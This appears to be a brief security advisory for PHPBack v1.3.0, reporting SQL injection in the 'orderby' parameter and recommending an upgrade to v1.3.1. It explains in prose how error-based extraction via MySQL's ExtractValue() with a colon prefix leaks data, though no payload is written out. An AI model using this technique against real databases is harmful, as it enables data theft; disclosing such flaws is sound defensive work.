Product:
================
PHPBack v1.3.0



Vulnerability Type:
===================
SQL Injection




CVE Reference:
==============
N/A



Vulnerability Details:
=====================

PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in 
the 'orderby' parameter.
By sending SQL Injection query using MySQL XPATH function ExtractValue() we can 
grab information
from the errors generated.

This is useful when we get no output except MySQL errors, we can force data 
extraction through the error. 
When using ExtractValue() function to generate error, evaluated results of our 
SQL query will be embedded
in query error message. Adding a colon "0x3a" to the beginning of the query 
will ensure parsing will always
FAIL generating an error along with our extracted data. This method only works 
on MySQL version >= 5.1, we can
then use SQL LIMIT function to move thru database informations.


Users should upgrade to v1.3.1
